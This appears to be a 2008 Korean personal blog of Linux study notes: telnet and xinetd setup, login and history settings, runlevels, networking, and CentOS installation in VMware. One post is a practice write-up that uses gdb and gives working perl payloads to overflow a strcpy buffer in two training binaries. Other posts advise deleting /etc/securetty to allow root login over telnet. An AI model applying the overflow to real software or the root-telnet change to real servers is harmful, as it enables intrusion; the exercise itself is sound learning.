linux - telnet server 설치 및 셋팅

linux - telnet server

telnet server는 stand alone type의 데몬인

xinetd 데몬에 의해서 관리 되고 있다.

# rpm -qa telnet*

# rpm -qa xinetd

만약 아무런 정보가 올라 오지 않는다면

yum 으로 간단 설치 하면 된다 ㅡㅡㅋ( 갈수록 글이 날로 먹는듯..)

# yum -y install telnet-server

# yum -y install xinetd

설치가 완료 되었다면 확인해 보자
# rpm -qa telnet*
telnet-server     -> telnet server프로그램
telnet-0.17        -> telnet client "
사용자 삽입 이미지

# rpm -qa xinetd

xinetd 데몬에게 telnet 데몬을 쓸것을 알려주자!!!


# vi /etc/xinetd.d/telnet



disable = yes 로 되어 있는것을 no로 수정한다 , 후에

# service xinetd restart

하면 된다. 그리고 난뒤 xp나 다른 o/s 에서

xp에서 telnet 으로 접속 해보면

안될 경우가 있는데 이때는

# lokkit
사용자 삽입 이미지

을 열어 disable 선택(스페이스) OK
사용자 삽입 이미지

or cutomize 를 선택해서

telnet 부분을 선택(스페이스) 해주고 ok - ok.

이후에 접속을 시도해 보면 접속이 된다.

단 root계정으로 접속하면 안될 경우가 있는데 이또한

/etc/securretty 파일 삭제 혹은 다른 이름으로 변경해서 저장해 놓으면 된다.

2008. 6. 23. 23:14

/etc/security/console.apps

일반 사용자가 원격 접속 상태에서 내릴 수 있는 명령은

 /etc/security/console.apps 디렉토리에 저장되어 있다.

# cd /etc/security/console.apps
# ls

원격 접속 상태에서 서버 종료/ 재부팅 막을려면

# rm -f /etc/security/console.apps/reboot
# rm -f /etc/security/console.apps/halt

삭제 하면 된다.
2008. 6. 23. 22:06

linux - who , whoami , who am i , w

# w
// w와 who가 비슷 한거 같다 ㅡ.-;;;;;;;;;;;
# who
현재 시스템에 누가 로그인해 있는지 확인 할 수 있다.
사용자 삽입 이미지

# whoami
현재 내가 누구인지~

# who am i
현재 게정 정보와 터미널 상태
whoami와 비교하자면 who am i 는 최초로 로그인시 적용 받은 uid 정보를 기준으로 나타내어 준다.


루트로 로그인후에
# su - id
// 다른 계정으로 전환 시키는 명령어
# who am i
root      tty     2008-06-/...
으로 나온다 . 다른 사용자로 로긴이 됐지만  여전히 루트라고 나온다 !!!!!
# whoami
user01
사용자 삽입 이미지


참고 :
uid , gid  
linux에서는 uid 정보와 gid정보가 있는데 이는
계정 정보명으로 사용자를 구분 짓는 것이 아니라
uid와 gid로 구분 짓는다.

2008. 6. 23. 21:44

/etc/profile

# vi /etc/profile  
// 모든 사용자!!에 대한 프로파일 로긴시 적용받음
해당 파일에
TMOUT 항목을 설정 하면 된다.
TMOUT = 3600      // 초단위이며, 한시간동안 입력이 없을경우 로그아웃 시킨다.
또한
루트로 로긴했을때 만약을 위한 조치이다. (본인도 모름 ㅡ.,ㅜ)
HISTSIZE =0
HISTFILESIZE =0
을 설정한다.

or

# vi /root/.bash_profile
//루트 계정의 bash쉘에 대한 프로파일이며
이파일에도 TMOUT 항목을 설정 해도 된다.

참고

# vi /root/.bash_logout에
history -c 항목을 설정하게 되면
루트 계정이 로그 아웃시 사용한 명령어 목록을 클리어 시킬수 있다.

----------------------------------------------------------------------------------------


2008. 6. 23. 21:37

/etc/login.defs , 로그인 암호 길이 지정

# vi /etc/login.defs              
// 해당 파일에서 gid, uid값 대역폭 메일 박스, umask , create_home값등을 변경 할 수 있다.  
사용자 삽입 이미지

PASS_MAX_DAYS 99999                         // 패스워드 변경 없이 최대 사용기한
PASS_MIN_DAYS  0                               // 패스워드 변경 없이 최소 사용기한
PASS_MIN_LEN    5                               // 최소 사용 길이
PASS_WARN_AGE 7                              // 만료일전 경고 일자 만료일 -7

2008. 6. 23. 21:25

linux - history , lastb , wtmp , lastlog

linux - history log , lastb , lastlog


# last
사용자 삽입 이미지
last 명령어는 과거의 로그인 상황 점검을 할 수 있다.
last 명령어는    /var/log/wtmp 에서 정보를 참조한다.
# mv /var/log/wtmp /var/log/_wtmp
# last
정보 없음
# mv /var/log/_wtmp /var/log/wtmp
# last
~~


--------------------------------------------------------------------------------------

# lastb
사용자 삽입 이미지

lastb 는 last정보와 비슷한 정보를 보여주나
이는 과거에 잘못된 접속을 시도한 계정에 대한 정보를 보여준다.
이  또한
/var/log/btmp   에서 정보를 참조한다.



# lastlog
사용자 삽입 이미지

이 명령어는 각 계정에 대한 마지막 로그인 정보를 보여준다.

# history
// 과거 사용된 명령어 목록을 보여준다.
2008. 6. 20. 02:42

linux - yum

linux - package 자동 설치

rpm - redhat package manager로
rpm 팩으로 구성되며 깊이 알고 있지 않으면
설치 할때 의존성 문제를 해결하지 못해 설치가 곤란할때가 많다.
해서
redhat 계열에서 지원 되는 명령어로 yum 이 있다.
자동으로 설치 및 의존성 문제를 해결해 딴 패키지까지 같이 설치 해준다.

# yum packagename을 적으면 되나
보통
# yum -y install packagename 을 많이쓴다
-y는 설치 전에 설치 할것인지 물어 보는것을 미리 y로 박아 넣기 위해서 하는것이다.
install은 기존 패키지가 없을때 새로 설치 한다는 의미이고 upgrade 라는 옵션도 있다.

또한 기타 옵션도 yum --help , yum -h 로 찾아보면 된다.

2008. 6. 20. 02:29

linux - 데몬 , deamon

linux - 데몬 , telnet

데몬은 서비스 혹은 서버 프로세스를 말한다.

데몬은 두가지 방식으로 운영 된다.

1. standalone
                    - 이용 빈도가 높아 혼자서 미리 메모리에 올라와 항시 대기중인 데몬을 말한다.
                   -  httpd , DB(mysqld), sendmail
                   - standalone 타임 데몬의 실행 스크립트는 /etc/init.d     에 주로 들어 있다.
                   - 대개 standalone 데몬은 service 데몬이름 start/stop/restart로 실행/종료 시킨다.
                   -
2. inet( super데몬)
                   - inet 방식은 슈퍼 데몬이라고도 하며 보통 xinetd 데몬이 관리 한다.
                   - cat /etc/service 에서 xinetd데몬이 관리하는 포트 확인할 수 있다.
                   - xinetd 데몬이 관리하는 데몬은  /etc/xinetd.d/~~에서 확인 할 수 있다.
                   - 참고 : xinetd데몬은 standalone 데몬이다.!


참고 : telnet서버 루트 원격 접속 제한 풀기
기본적으로 루트 권한은 텔넷으로 원격 접속을 할 수 없게 되어 있다.
이를 풀어 보자.

telnet은 inet데몬에 의해서 관리 되어 있다.
=========================
telnet 서버 확인
-------------------------

# vi /etc/xinet.d/telnet
을 열어
disable = yes 로 된 항목을
disable = no 로 수정후( 수정 되어 있다면 패쓰)
# sevice xinetd restart
하고 접속을 시도 해도 root는
막혀 있을 수 있다.
이때 확인해야 할것은
/etc/securretty 파일이다.
이파일에 터미널을 열수 없게 되어 있다.
이를 주석 처리 하던지 아님 이름을 변경 하면 된다.

# mv /etc/securretty /etc/securretty.org

변경후 접속 하면 접속이 될것이다.


2008. 6. 20. 02:13

vmware - 몇가지 팁

vmware - tip , clone , snapshot , hot key, capture screen , capture movie


snapshot -

vmware상에 가상으로 o/s를 깔았다면 이걸 마치 window에 있는 시스템 복원 처럼 쓸 수 있게 하는 기능이다.
보통 테스트 or 공부용으로 쓰게 마련인데 그때 그때 마다 스냅샷을 찍어 놓고
그때마다 원하는 시간으로 돌려서 쓸 수 있다.
menu - VM - snaptshot 에서 찍을 수 있다.

clone -
이것은 설치 된 o/s를 쉽게 복제를 할 수 있게 해준다.
새로 설치 하는것보다 clone을 해서 사용해도 된다.
물론 설치된 폴더를 복사 해서
vmware에서 file - open 해서 사용해도 된다.(아마도 open할때 move it , copy it을 물어보는데 아무거나 해도 무방하나 같이 사용할려면 copy it을 사용하는것이 나았던거 같다.)
아 .. 빠트릴뻔... clone할때 웬만하면 종료한 상태에서 할것을 추천 한다.
아니면 복사된 이미지를 끌어 왔을때 에러 메시지는 아니지만 귀찮게 할 수 도 있다. ''

hotkey  -
vmware menu에서 edit에 보면 preference (ctrl + p) 선택해서 hot keys 탭을 보면
보통 ctrl + alt 로 되어 있을 것이다. 필자는 보통 디폴트로 해서 사용하나
요즘음 ctrl +alt + shift 로 바꿧다.
물론 개인취향에 맞게 설정도 가능 하다 . custom 으로
단 ctrl + alt + shift 를 쓰는 이유는
widows나 linux 에서 잘못 인식 하는 경우가 있기 때문이다.
linux에서 xwin상태에서 콘솔 창으로 되돌아 가는  숏키가 ctrl + alt +f7인데
ctrl _ alt 가 이미 눌려 진다면 vmware 밖으로 나가기 때문이다.

capture screen , capture movie -
말 그대로 스샷을 찍거나 동영상을 찍을 수 있게 해준다.
linux 설치 글도 capture movie로 찍었다 ''ㅋ
2008. 6. 20. 01:17

linux - login , logout , messages

linux - messages 변경

linux system이 부팅 할때 주륵주륵 여러가지 메시지가 나오는것을 알 수 있다.

근데 이거 다시 보려 해도 후다닥 지나가기때문에 보기 껄끄럽다 ㅡ.,ㅡ?

암튼 그래서 다시 볼려면

# dmesg
하면 정보가 나온다. 근데 이것도 좀 많다 ......ㅡ.-'
그땐
# dmesg | grep eth    (부팅 메시지 중  eth 카드의 메시지를 확인 된다. )
참고로 dmesg 는 /var/log/dmesg   에 있다! ( cat 으로 확인해봐도 된다.)

사용자 삽입 이미지

ctrl + alt + del 제한

일반 사용자가 위 키를 눌르면 안된다. 고로 이를 막기 위해서
/etc/inittab 파일을 수정해야한다.
# vi /etc/inittab
사용자 삽입 이미지
32 번재 라인을 # 주석 처리 하면 된다.
근데 이 파일은 부팅 할때 읽혀 지는 파일 이기 때문데
리부팅 해야 한다. 하지만

# init -q
로 inittab file 을 다시 로드 시킬 수 있다.


아래 메시지는 어디서 본듯한? 것일거다.
사용자 삽입 이미지
그렇다 로그인 화면에서 나타난 메시지다.
첫번째꺼는 로그인 메시지이고
두번째꺼는  telnet 등으로 원격 접속을 할떄 나오는 메시지다.
이는 시스템 커널정보, 운영체제 정보가 노출 되는 것으로 보안상 위협이 될 수 있다.
고로 두 파일의 내용을 없애는 것이 좋다.

/etc/motd  
로그인 성공 후에 나타 나는 메시지를 나타 낸다.


2008. 6. 20. 00:40

linux - host , network

linux -
hosts , network 명 변경


리눅스 시스템 명을 변경 해보도록 하겠다.
login  할때 나타나는 localhost 란 이름이 호스트 명을 나타 내고 있다.
이름 serv 혹은 자신이 원하는 이름 으로 변경을 해보자
host 파일은
/etc/hosts 파일에 있다.

사용자 삽입 이미지

# vi /etc/hosts
사용자 삽입 이미지
밑줄 친 부분을 server.linux.com    server  로 바꿔 보자
사용자 삽입 이미지
저장 하고 빠져 나옴
마찬가지로
# vi /etc/sysconfig/network
                   hostname=server.linux.com
으로 변경 하면 된다.
두 작업후 리부팅 하자
# reboot
혹은
# init 6

리부팅후 로긴 창에서 바뀌어있다
또한 로긴후에도 바뀌어 있다.
사용자 삽입 이미지

추가로 로그인 후 나타는
메시지가 있는데
/etc/motd      에서 수정하여 바꿀 수 있다.
아마도 디폴트는 비어 있을 것이다.
# echo "HELLO" > /etc/motd
한다음
ctrl + d 혹은 로그아웃 한다음 다시 접속해 보자

2008. 6. 19. 12:22

stack overflow

base 풀이 1
[root@localhost tmp]# gdb base
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) i fun
All defined functions:

Non-debugging symbols:
0x08048278  _init
0x080482a0  __libc_start_main
0x080482b0  printf
0x080482c0  exit
0x080482d0  strcpy
0x08048304  call_gmon_start
0x08048328  __do_global_dtors_aux
0x08048364  frame_dummy
0x08048390  success
0x080483a8  main
0x080483fc  __libc_csu_init
0x0804842c  __libc_csu_fini
0x08048460  __do_global_ctors_aux
0x08048484  _fini
(gdb) disas main
Dump of assembler code for function main:
0x080483a8 <main+0>:    push   %ebp
0x080483a9 <main+1>:    mov    %esp,%ebp
0x080483ab <main+3>:    sub    $0x18,%esp
0x080483ae <main+6>:    and    $0xfffffff0,%esp
0x080483b1 <main+9>:    mov    $0x0,%eax
0x080483b6 <main+14>:   sub    %eax,%esp
0x080483b8 <main+16>:   cmpl   $0x1,0x8(%ebp)
0x080483bc <main+20>:   jg     0x80483c8 <main+32>
0x080483be <main+22>:   sub    $0xc,%esp
0x080483c1 <main+25>:   push   $0x0
0x080483c3 <main+27>:   call   0x80482c0 <exit>
0x080483c8 <main+32>:   sub    $0x8,%esp
0x080483cb <main+35>:   mov    0xc(%ebp),%eax
0x080483ce <main+38>:   add    $0x4,%eax
0x080483d1 <main+41>:   pushl  (%eax)
0x080483d3 <main+43>:   lea    0xffffffe8(%ebp),%eax
0x080483d6 <main+46>:   push   %eax
0x080483d7 <main+47>:   call   0x80482d0 <strcpy>
0x080483dc <main+52>:   add    $0x10,%esp
0x080483df <main+55>:   sub    $0x8,%esp
0x080483e2 <main+58>:   lea    0xffffffe8(%ebp),%eax
0x080483e5 <main+61>:   push   %eax
0x080483e6 <main+62>:   push   $0x80484bb
---Type <return> to continue, or q <return> to quit---
0x080483eb <main+67>:   call   0x80482b0 <printf>
0x080483f0 <main+72>:   add    $0x10,%esp
0x080483f3 <main+75>:   mov    $0x0,%eax
0x080483f8 <main+80>:   leave
0x080483f9 <main+81>:   ret
0x080483fa <main+82>:   nop
0x080483fb <main+83>:   nop
End of assembler dump.
(gdb)
(gdb) disas success
Dump of assembler code for function success:
0x08048390 <success+0>: push   %ebp
0x08048391 <success+1>: mov    %esp,%ebp
0x08048393 <success+3>: sub    $0x8,%esp
0x08048396 <success+6>: sub    $0xc,%esp
0x08048399 <success+9>: push   $0x80484a8
0x0804839e <success+14>:        call   0x80482b0 <printf>
0x080483a3 <success+19>:        add    $0x10,%esp
0x080483a6 <success+22>:        leave
0x080483a7 <success+23>:        ret
End of assembler dump.
(gdb)
success 의 주소 값 0x08048390
(gdb) b *main+52 // strcpy 까지 break point 설정후
Breakpoint 1 at 0x80483dc
(gdb) r aaaaaaaaaaaaaaaaaaa // 실행
Starting program: /tmp/base aaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x080483dc in main ()
(gdb) x/10wx $esp  // esp값을 기준으로 메모리 값 덤프
0xbfffe420:     0xbfffe430      0xbffffba5      0xbfffe438      0x0804828d
0xbfffe430:     0x61616161      0x61616161      0x61616161      0x61616161
0xbfffe440:     0x00616161      0x40015360
  // aaaa 값이 bfffe430을 기준으로 쌓여 있는 것을 볼 수 있다.
(gdb) x/10wx $ebp
0xbfffe448:     0xbfffe468      0x42015574      0x00000002      0xbfffe494
  ret  sfp  argc  argv
0xbfffe458:     0xbfffe4a0      0x4001582c      0x00000002      0x080482e0
0xbfffe468:     0x00000000      0x08048301
  //ebp값을 기준으로 확인해 보면  ret sfp argc argv
  //값이 나열 된 것을 볼 수 있다.
memory 구조상
stack 구조는
 ---------------
  ret
 ---------------
  sfp
   ebp->---------------<-esp
  지역변수
  ..
  ..
  으로 되어 있는데
  함수 호출 과정을 거친후 리턴 될때 ebp값을 읽어 eip에 저장된 다음
  명령어를 실행한다.
  strcpy 같은 함수의 취약점은 byte체크를 하지 않는다.
  이때 원하는 양의 문자열을 perl 스크립트 같은 스키립트 를 이요하여
  스택을 넘어 ret공간에다 원하는 명령이나 메모리 주소를 덮어 씌워
  쉘코드를 실행 시킬수 있다.
암튼 이 구조상으로 보면
지역 변수의 공간이 차지 하는 공간은
sub    $0x18,%esp 에서 보듯이 24byte의 공간을 차지 하고 있다.
여기에 sfp공간 값 4byte를 더해 ret 주소에 success함수의 주소값을 집어넣어야 하므로
28byte만큰 overflow를 시키면 된다.


success 함수의 시작값0x08048390 에 aaaa*?의 수를 주어야 한다.

# ./base `perl -e 'print "a"x28,"\x90\x83\x04\x08"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaa릡
You're Success!!!
세그멘테이션 오류
success함수가 실행 되었다.


base3 풀이

[root@localhost tmp]# gdb base3
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) i fun
All defined functions:

Non-debugging symbols:
0x08048278  _init
0x080482a0  __libc_start_main
0x080482b0  printf
0x080482c0  exit
0x080482d0  strcpy
0x08048304  call_gmon_start
0x08048328  __do_global_dtors_aux
0x08048364  frame_dummy
0x08048390  success
0x080483a8  main
0x08048420  __libc_csu_init
0x08048450  __libc_csu_fini
0x08048484  __do_global_ctors_aux
0x080484a8  _fini

(gdb) disas main // main 함수 를 까뒤집어 보자
Dump of assembler code for function main:
0x080483a8 <main+0>:    push   %ebp
0x080483a9 <main+1>:    mov    %esp,%ebp
0x080483ab <main+3>:    sub    $0x368,%esp
0x080483b1 <main+9>:    and    $0xfffffff0,%esp
0x080483b4 <main+12>:   mov    $0x0,%eax
0x080483b9 <main+17>:   sub    %eax,%esp
0x080483bb <main+19>:   sub    $0xc,%esp
0x080483be <main+22>:   push   $0x80484dc
0x080483c3 <main+27>:   call   0x80482b0 <printf>
0x080483c8 <main+32>:   add    $0x10,%esp
0x080483cb <main+35>:   cmpl   $0x1,0x8(%ebp)
0x080483cf <main+39>:   jg     0x80483eb <main+67>
0x080483d1 <main+41>:   sub    $0xc,%esp
0x080483d4 <main+44>:   push   $0x80484e1
0x080483d9 <main+49>:   call   0x80482b0 <printf>
0x080483de <main+54>:   add    $0x10,%esp
0x080483e1 <main+57>:   sub    $0xc,%esp
0x080483e4 <main+60>:   push   $0x0
0x080483e6 <main+62>:   call   0x80482c0 <exit>
0x080483eb <main+67>:   sub    $0x8,%esp
0x080483ee <main+70>:   mov    0xc(%ebp),%eax
0x080483f1 <main+73>:   add    $0x4,%eax
0x080483f4 <main+76>:   pushl  (%eax)
---Type <return> to continue, or q <return> to quit---
0x080483f6 <main+78>:   lea    0xfffffea8(%ebp),%eax
0x080483fc <main+84>:   push   %eax
0x080483fd <main+85>:   call   0x80482d0 <strcpy>
0x08048402 <main+90>:   add    $0x10,%esp
0x08048405 <main+93>:   sub    $0x8,%esp
0x08048408 <main+96>:   lea    0xffffff78(%ebp),%eax
0x0804840e <main+102>:  push   %eax
0x0804840f <main+103>:  push   $0x80484ee
0x08048414 <main+108>:  call   0x80482b0 <printf>
0x08048419 <main+113>:  add    $0x10,%esp
0x0804841c <main+116>:  leave
0x0804841d <main+117>:  ret
0x0804841e <main+118>:  nop
0x0804841f <main+119>:  nop
End of assembler dump.


(gdb) disas success
Dump of assembler code for function success:
0x08048390 <success+0>: push   %ebp
0x08048391 <success+1>: mov    %esp,%ebp
0x08048393 <success+3>: sub    $0x8,%esp
0x08048396 <success+6>: sub    $0xc,%esp
0x08048399 <success+9>: push   $0x80484cc
0x0804839e <success+14>:        call   0x80482b0 <printf>
0x080483a3 <success+19>:        add    $0x10,%esp
0x080483a6 <success+22>:        leave
0x080483a7 <success+23>:        ret
End of assembler dump.

0x08048390
success 함수의 시작 주소가 보인다!
또한 main+85에 strcpy가 보인다.!!

(gdb) b *main+90 //strcpy까지 실행 시켜보기 위해 breakpoint를 걸었다.
Breakpoint 1 at 0x8048402
(gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaa // 실행
Starting program: /tmp/base3 aaaaaaaaaaaaaaaaaaaaaaaaaa
hi~

Breakpoint 1, 0x08048402 in main ()

(gdb) x/10wx $esp
0xbfffe140:     0xbfffe360      0xbffffb9d      0x0804959c      0x40015a38
0xbfffe150:     0x00000000      0x400169e0      0xd0cac37d      0x00001707
0xbfffe160:     0x00000000      0x01000000
(gdb)
0xbfffe168:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe178:     0x00000000      0x00000000      0x00000001      0x00000000
0xbfffe188:     0x00000000      0x00000000
(gdb)
0xbfffe190:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe1a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe1b0:     0x00000006      0x400169e0
(gdb)
0xbfffe1b8:     0x000fffff      0x00000051      0x00000000      0x00000000
0xbfffe1c8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe1d8:     0x00000000      0x00000000
(gdb)
0xbfffe1e0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe1f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe200:     0x00000000      0x00000000
(gdb)
0xbfffe208:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe218:     0x00000000      0x4000fbce      0x00000000      0x00000000
0xbfffe228:     0x40001001      0x4001582c
(gdb)
0xbfffe230:     0x40015a34      0x00020414      0xbfffe468      0x4000eeaf
0xbfffe240:     0x08048034      0x00000006      0xbfffe27c      0x00000000
0xbfffe250:     0x00000000      0x00000000
(gdb)
0xbfffe258:     0x00000000      0x2d000000      0x00000003      0xbfffe302
0xbfffe268:     0x0003fbf9      0x00000000      0x00000000      0x00000006
0xbfffe278:     0x08048034      0x080482e0
(gdb)
0xbfffe280:     0x756e694c      0x00000078      0x00000000      0x00000000
0xbfffe290:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe2a0:     0x00000000      0x00000000
(gdb)
0xbfffe2a8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe2b8:     0x00000000      0x00000000      0x636f6c00      0x6f686c61
0xbfffe2c8:     0x6c2e7473      0x6c61636f
(gdb)
0xbfffe2d0:     0x616d6f64      0x00006e69      0x00000000      0x00000000
0xbfffe2e0:     0x4000914d      0x42010c7f      0x42010c7f      0x00000000
0xbfffe2f0:     0x00000000      0x00000020
(gdb)
0xbfffe2f8:     0x42010d36      0x4200bc84      0x42003394      0x400160b0
0xbfffe308:     0x00000003      0x40016350      0x4001582c      0x4001624c
0xbfffe318:     0x4200dba3      0xbfffe3fc
(gdb)
0xbfffe320:     0x40008156      0x4200dba3      0x0ab98982      0x420069e4
0xbfffe330:     0xbfffe3ac      0x40009401      0x080481c9      0x40015c68
0xbfffe340:     0x400093bb      0x4001582c
(gdb)
0xbfffe348:     0x40015a38      0x00000000      0xbfffe390      0x4000914d
0xbfffe358:     0x42010c7f      0x08048216      0x61616161      0x61616161
0xbfffe368:     0x61616161      0x61616161
(gdb)
0xbfffe358:에서 6161이 보인다. 인자로 넣은 a의 asci값
+8
0xbfffe360 에서 시작 되었다.
0xbfffe4b8 - 0xbfffe360 = 0x158  십진수 로 변환하면 344
여기에 sfp공간 값 +4byte를 하면 348이 나온다!

# ./base3 `perl -e 'print "a"x348,"\x90\x83\x04\x08"'`
hi~
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa릡
You're Best!!!
세그멘테이션 오류
success 함수가 실행되었다!


(printf "`perl -e 'printf "a"x??, "\x??\x??\x??"'`;cat) | ./base2

2008. 6. 19. 00:52

linux - ifconfig , ip , setting

linux - ifconfig
--------------------------------------------------------------------------------------
현재 가상 머신 상황에서 설치 한 동영상을 보면 알겠지만

vmware의 dhcp 기능을 이용하여 ip를 할당 받았다!

이를 원하는 아이피로 바꾸어 보자!

# ifconfig
블라 블라 블라..

eth0 과 lo 가 보일 것이다.
--------------------------------------------------------------------------------------

ip설정을 바꾸는 방법은 두가지가 있다.

1. 현재 설정
# ifconfig eth0 192.168.10.10 netmask 255.255.255.0 up
# ifconfig
바뀌어 있는것을 알 수 있다.
간략히 설명 하자면 ifconfig으로 eth0에 대해서 ip/netmask 를 설정 하고 up을 하라는 말이다.
up은 활성화 시키란말.
 
2. 부팅 시 설정
eth0에 대한 설정은
/etc/sysconfig/network-scripts/ 폴더 내에 있다.
# cd /etc/sysconfig/network-scripts
# ls



저정하고 종료
# ping 사이트 주소 로 할것

이상 네트워크 설정을 마무리 짓기로 한다 졸린다는 ㅡ.-;
-------------------------------------------------------------------------------------
정리
현재 설정과 부팅시 설정이 있으며
ifconfig eh0 (현재 설정, 리부팅 하면 날아감)
netconfig(tool)
setup(tool)로 할 수 있으며

/etc/sysconfig/network-scripts/ifcfg-eth0 파일을 설정하여 변경한다.(부팅시 설정)
dns설정
/etc/resolv.conf 에서 수정 가능하다.

2008. 6. 18. 23:30

linux - runlevel 수정하기

linux runlevel
---------------------------------------------------------------------------------
0 level    halt모드로 시스템 정지인데, 이 모드로 해놓으면 시스템이 아예 안켜지겠지??-_-
1 level    혼자 쓸 때
2 level    멀티유저 용, 3 level과 비슷한데 네트워킹이 안되는 모드
3 level    멀티유저 용, 보안상 필드에서 3으로 지정함
4 level    사용 x
5 level    gui mode, 그래픽 유저 인터페이스 모드, xwindow 지원
6 level    재부팅
----------------------------------------------------------------------------------
바탕화면에서 마우스 오른쪽 ' 터미널 열기 ' 선택

사용자 삽입 이미지


# runlevel
N 5 현재 런레벨 5
# vi /etc/inittab (이 파일에서 런레벨 설정 할 수 있다.)


사용자 삽입 이미지

이는 vi 편집기에서 inittab파일을 연 화면이며( 처음 사용하는 사람은 그대로 따라 하기 바란다.)
/id
키보드 -> 로 3의 위치에
r   -> 3 을 차례로 눌르면 5에서 3으로 바뀌는것을 볼 수 있다.
이후 esc 키 눌름
다시 shift + ; -> 로  ' : ' 입력
:wq - > 엔터
그럼 해당 파일이 수정 되었다.!

# reboot

사용자 삽입 이미지

자 ... 리부팅후 콘솔 창으로 로긴 된것을 알 수 있다.
런레벨 3으로 변경 되었다!
사용자 삽입 이미지

참고  : xwindow를 선호 하는 사람은 다시 런레벨을 수정하거나
# startx 라는 명령을 내려도 된다!

2008. 6. 18. 23:08

linux - 설치 3

에휴... 안타 깝기 그지 없다는....

기껏 찍어놓은 동영상이 코덱 문제인듯한데 업로드

한후에 로딩이 되지가 않아 급히 재 설치후

캡쳐 사진으로 대체 해야 했다.. 피눈물이 ㅡ.ㅠ

--------------------------------------------

앞서 설치 완료후

사용자 삽입 이미지



설치 완료후 ' 재부팅 ' 클릭

사용자 삽입 이미지

부팅중
사용자 삽입 이미지

사용자 삽입 이미지

초기 설정 화면  ' 앞으로 ' 선택
사용자 삽입 이미지

' 비활성화 ' 선택
사용자 삽입 이미지

' 예 ' 선택
사용자 삽입 이미지

root 외에 일반 사용자 생성화면 나중에 따로 해도 되니 ' 앞으로 ' 선택

사용자 삽입 이미지

' 계속 진행 ' 선택
사용자 삽입 이미지
재설치 하면서 사운드 카드를 남겨 놓았나 보다 ㅡ.,ㅡ;
걍 넘어 가자 ''ㅋ
' 앞으로 ' , ' 예 ' 선택
사용자 삽입 이미지

' 완료 ' 선택
사용자 삽입 이미지

완료후 - > 재부팅 ' 확인 ' 선택
사용자 삽입 이미지


설치 할때 설정한 사용자 이름 (id) root 와 passwd 를 넣고 엔터
사용자 삽입 이미지


사용자 삽입 이미지

와우 ~~ 드뎌 설치가 끝났다 휴휴..

2008. 6. 18. 22:04

linux - 설치 2

쳇.. 나름 준비해서 동영상을 찍었서 올렸는데
이것저것 틀린 부분도 보이고 해서
나름 맘이 속상하네요''
아짃 실력이 없다는 변명 늘어 놓습니다!ㅋ
가위질 환영 합니다~~





 
2008. 6. 18. 20:28

linux - 설치 1

---------------------------------------------------------------------------------------

환경 : vmware ( 가상 머신 )
o/s  : linux ( CentOS)

CentOs - redhat에서 기업용 버전인 enterprize 버전을 내어 놓기 전에
              테스트 버젼으로 배포 되는 OS이며, linux의 표준?을 지향하기 때문에 나름? 괜찮다고
              생각 함.
준비물       :   CentOs linux image cd or DVD
링크 주소   :   http://www.centos.org/
                      위 사이트에서 downloads 를 클릭
http://mirror.centos.org/centos/5/isos/
에서 i386(32bit) 용으로 다운받음
          
--------------------------------------------------------------------------------------
vm setting
---------------------------------------------------------------------------------------
sound, flofy 드라이브 제거
memory   : 512 (실제 o/s의 여유가 된다면 늘려도 됨)
hard disk ( scsi ) : 8.0
ethernet : nat
usb
display  : auto detect
processors  : 2 core
---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------------
partiton setting
파티션 셋팅할때는 미리 자료를 찾아보길 바란다.
용도에 따른 파티션 적용이 약간씩 틀리기 때문이다.

http://marvel.incheon.ac.kr/~mysung/lectures/2004OS/2004linuxinstall.pdf
http://www.superuser.co.kr/home/lecture/index.php?cateNo=1&secNo=27&theNo=&leccode=10915
참고 하거나 직접 검색 해서 찾아보면 많은 자료가 있을것이다.
필자는 swap 과 / 로만 설치 할것이다.
swap - 가상 메모리 공간을 말하며 메모리의 1.5에서 2배정도로 잡아 주는 것이 좋다.
/       - 리눅스가 설치될 영역

사용자 삽입 이미지
사용자 삽입 이미지

사용자 삽입 이미지
사용자 삽입 이미지




사용자 삽입 이미지



사용자 삽입 이미지

ze  : 8  
allocat all disk space now. -> 이걸 선택하게 되면 통짜 파일이 생선되게 된다. 좀더 빠른 성능을 기대 할 수 있다고 한다.
split disk into 2GB       -> 말그대로 2gb로 분할 사용

사용자 삽입 이미지



사용자 삽입 이미지


사용자 삽입 이미지
사용자 삽입 이미지
사용자 삽입 이미지
사용자 삽입 이미지
적당히 편집 할것
필자는 필요 사운드 플로피 제거
듀얼 코어 사용( 본인의 컴퓨터가 듀얼이 아닐경우 선택 하지말것, 단 듀얼 이상일경우는 선택하는것이 좋음, 쿼드 역시 듀얼로.. 아직 쿼드선택 버젼이 없는듯...)
자 다운 받은 dvd이미지 위치를 시디롬에 심어 보자~!
사용자 삽입 이미지


사용자 삽입 이미지

자 이제 셋팅이 끝났다.!!!!! 파워온을 살짝 눌러 보자
담에 계속

2008. 6. 17. 23:53

vmware 셋팅 - 2

이후
vmnet8: 의 오른쪽 ' > ' 선택 - > ' NAT ' 선택
사용자 삽입 이미지

nat setting 에서 gateway ip address를
다음과 같이 셋팅한다.
앞에서 서브넷을 192.168.10.x로 했다.
